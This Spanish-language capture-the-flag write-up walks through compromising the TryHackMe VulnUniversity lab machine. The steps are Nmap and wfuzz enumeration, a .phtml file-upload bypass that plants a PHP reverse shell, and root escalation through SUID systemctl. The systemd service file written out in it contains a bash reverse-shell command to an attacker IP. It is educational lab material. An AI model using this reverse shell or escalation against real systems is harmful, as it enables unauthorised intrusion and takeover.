VulnUniversity - TryHackMe

Summary

En este caso debemos encontrar dos banderas ubicadas en la maquina VulnUniversity.Donde a partir del script http-title.nse de Nmap pude saber el titulo de la pagina web que se aloja en el servidor web. Luego, utilizo wfuzz para encontrar recursos ocultos a partir del directorio raiz del servidor web.Llegando a encontrar el recurso internal que viene a ser una pagina web que nos permite subir archivos al servidor web, que se almacenaran el directory list uploads. Luego, utilizamos Burp Suite para poder saber que extension debe tener el archivo para que nos permite la aplicacion web cargarlo al servidor web. Luego,explotamos la vulnerabilidad File Upload presente en la aplicacion web mediante un archivo con extension PHMTL. Llegando obtener acceso a la maquina VulnUniversity. Luego, realizamos una escalada de privilegios para ser el usuario root aprovechando que el archivo binario systemctl tiene el permiso SUID habilitado.

Fase Reconocimiento

Para resolver este ejercicio empezaremos utilizando el comando openvpn con el fin de establecer una conexion VPN con la red virtual donde esta la maquina VulnUniversity.Para ello utilizaremos el archivo de configuracion, que lo podemos descargar en la plataforma de Tryhackme, que puede incluir informacion como la direccion del servidor VPN, los certificados y claves de seguridad, la configuracion de encriptacion, etc.

Luego de que se establece la conexion VPN se crea una interfaz virtual de red en nuestra maquina. Donde se enruta todo el trafico de red a traves de esa interfaz.

Ademas, la plataforma de Tryhackme nos muestra la direccion de la maquina VulnUniversity.

Fase Escaneo y Enumeracion

Luego pasaremos a la fase de Escaneo y Enumeracion con el fin de poder escanear los puertos del nodo. Ademas, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el posible sistema operativo de la maquina VulnUniversity.Para ello utilizaremos Nmap.Donde le pasaremos los siguientes parametros:

  • El parametro -sC o -script=”default” para utilizar todos los scripts de la categoria default con el fin de realizar un escaneo y deteccion de los puertos de manera avanzada.
  • El parametros -sV con el fin de conocer las versiones de los servicios levantados en los puertos abiertos.
  • El parametro -n para evitar la resolucion DNS, y el parametro -min-rate para indicarle el numero de paquetes por segundo que va utilizar Nmap para el escaneo con el fin de evitar sobrecargar la red con el trafico generado por Nmap.
  • El parametro -p- para realizar un escaneo de los 65535 puertos del nodo y el parametro -open con el fin de que nos muestre informacion solo de los puertos abiertos.

Los resultados que obtuvimos del escaneo vienen a ser:

  • Hay un servicio HTTP, que se esta levantado en el puerto 3333, y el programa servidor HTTP que se esta corriendo.Ademas, la version del programa servidor HTTP.
  • Hay un servicio SSH, que se esta levantado en el puerto 22, y el programa servidor SSH se esta corriendo.Ademas, la version del programa servidor SSH.
  • Hay un servicio FTP, que esta levantado en el puerto 21, y el programa servidor FTP que se esta corriendo.Ademas, la version del programa servidor FTP.
  • Hay un servicio Proxy, que esta levantado en el puerto 3128, y el programa servidor Proxy que se esta corriendo. Ademas, la version del program servidor Proxy.
  • A partir del script http-tittle.nse de Nmap podimos obtener el titulo de una pagina HTML que se aloja en el servidor web de la maquina VulnUniversity.Este resultado tambien lo podimos haber obtenido al realizar una solicitud GET HTTP al servidor web con el comando curl para obtener el cuerpo de la respuesta HTML del servidor web

Observamos que el cuerpo de la respuesta HTTP viene a ser el codigo HTML de la pagina web.Donde en la etiqueta title podemos observar el titulo de la pagina HTML que se obtuvo del script http-title.nse.

Ahora accederemos a la pagina web a traves de mi navegador web para observar su contenido.

Ahora utilizaremos la herramienta wfuzz, que viene a ser una forma automatizada de descubrir CONTENT en un sitio o aplicacion web mediante fuerza bruta de directorios utilizando una lista de posibles nombres de directorios y archivos.

  • El parametro -hc con el fin de filtrar los recursos que tenga un codigo de estado HTTP 403,404,400.
  • El parametro -w con el fin de indicar la ruta de la lista de posibles nombres de archivos y directorios,que utilizara la herramienta.
  • El parametro -u con el fin de indicar la ruta donde hara el ataque de fuerza bruta de directorios.

Llegamos a obtener dos recursos nuevos llamados internal y fonts. Ahora accederemos al recurso fonts a traves de mi navegador web para observar su contenido

Nos damos cuenta que el recurso fonts viene a ser un directory list que contiene archivos de configuracion utilizados en la aplicacion web. Ahora accederemos al recurso internal a traves de mi navegador web para observar su contenido

Observamos que el recurso internal viene a ser una pagina web que nos permite cargar archivos al servidor web.

Ahora verificaremos si la aplicacion web presenta la vulnerabilidad File Upload, que nos permite cargar archivos con contenido malicioso para generar una conexion reverse shell hacia nuestra maquina. Para ello utilizaremos Burp Suite. Donde utilizaremos su servidor Proxy para coger una solicitud HTTP POST, luego mediante su ventana Repeater podremos observar las respuestas HTTP, que obtendremos del servidor web, al modificar la solicitud HTTP POST con diferentes extensiones php para poder cual extension permite la aplicacion web que podamos subir nuestro archivo al servidor web.

Observamos que cuando la solicitud HTTP POST contiene la extension .phtml, su respuesta HTML viene a contener el mensaje Success. Esto indica que la aplicacion web nos deja subir archivos con extension phtml. Por lo tanto, la aplicacion web si presenta la vulnerabilidad File Upload ya que no filtra o valida adecuadamente los archivos que suben los usuarios.

Fase Hacking o Explotacion o Ganar Acceso

Ahora intentaremos subir un archivo PHTML, que viene a ser un archivo que contiene codigo HTML y PHP, pero en nuestro caso va contener un codigo PHP que generara una conexion reverse shell hacia nuestra maquina mediante el puerto 1500.

Llegamos a verificar que se ha subido nuestro archivo PHTML. Ahora debemos encontrar la ruta de de nuestro archivo que hemos subido. Para ello realizaremos fuerza bruta de directorios desde la ruta del recurso internal para encontrar recursos escondidos, y utilizando wfuzz.

Ahora accederemos al recurso uploads a traves de mi navegador web para observar su contenido.

Podemos observar que viene a ser un directory list que contiene nuestro archivo que subimos anteriormente. Ahora daremos clic al archivo PHTML para que se ejecute el codigo que tiene, pero antes habilitamos el puerto 1500 en nuestra maquina para que este en escucha y esperando la conexion entrante. Para ello utilizamos la herramienta netcat.Ademas, utilizamos el comando rlwrap para que la shell generada en nuestra maquina presenta funcionalidades como el autocompletado de comandos, historial de comandos, etc

Ahora daremos clic para que se ejecute el codigo del archivo PHTML, y nos genere la conexion reverse shell hacia nuestra maquina.

Nos damos cuenta que hemos obtenido acceso a la maquina VulnUniversity siendo el usuario www-data, y observando el contenido del archivo /etc/passwd nos percatamos que al usuario www-data se le he configurado una shell nologin que viene a ser una shell no interactiva para limitar al usuario en la ejecucion de ciertos comandos que requieren una tty. Por lo tanto, debemos buscar una vector de escalada de privilegios.

Fase Escalada de Privilegios.

Ahora buscaremos archivos con permisos SUID o SGID con el fin de escalar privilegios, y llegar a ser el superusuario o root. Para ello ejecutamos el comando find, indicando que busque desde el directorio /, archivos con permisos SUID.

En esta ocasion utilizaremos el archivo binario systemctl para la escalada de privielgios.Ademas, debemos saber que a traves de este archivo binario podemos habilitar y iniciar servicios o aplicaciones en el sistema. Teniendo en cuento esto se va crear un archivo con extension service que va ser utilizado para configurar y definir un servicio que al ejectuarse con systemctl me va generar una conexion reverse shelll hacia nuestra maquina, pero primero debemos saber en que directorios del sistema VulnUniversity tenemos el permiso de escribir, es decir, poder crear archivos.

En esta ocasion escogeremos el directorio tmp para crear nuestro archivo. Ahora crearemos las secciones y directivas que va contener nuestro archivo de servicio.

  • En la seccion [Unit], se especifica una descripcion para el servicio. En este caso, la descripcion es “root”, que especifica el proposito o la funcion del servicio.
  • En la seccion [Service], se establecen las configuraciones relacionadas con el servicio mismo. Aqui estan las directivas utilizadas:
    1. Type=simple: Esta directiva especifica que el servicio es un proceso simple y que no utiliza caracteristicas especiales de systemd.
    2. User=root: Esta directiva indica que el servicio se ejecutara con el usuario “root”.
    3. ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.8.123.194/1700 0>&1': Esta directiva establece el comando de inicio del servicio. En este caso, el comando nos generara una conexion reverse shell hacia nuestra maquina siendo el usuario root.
  • La seccipn [Install] define como se debe activar el servicio durante el inicio del sistema. En este caso, se especifica que el servicio sera activado en el objetivo “multi-user.target”, que es el objetivo predeterminado para sistemas multiusuario.

Ahora habilitaremos el servicio root que hemos creado. Luego, correremos el servicio root para que se nos genere la conexion reverse shell hacia nuestra maquina, pero antes debemos habilitar el puerto 1700 en nuestro sistema.

De esta manera llegamos a ser el usuario root.

Ahora buscaremos las dos banderas contenida en los archivos user.txt y root.txt. Para localizar los archivos utilizaremos el comando find para buscar desde el directorio /, archivos con nombre user.txt y root.txt.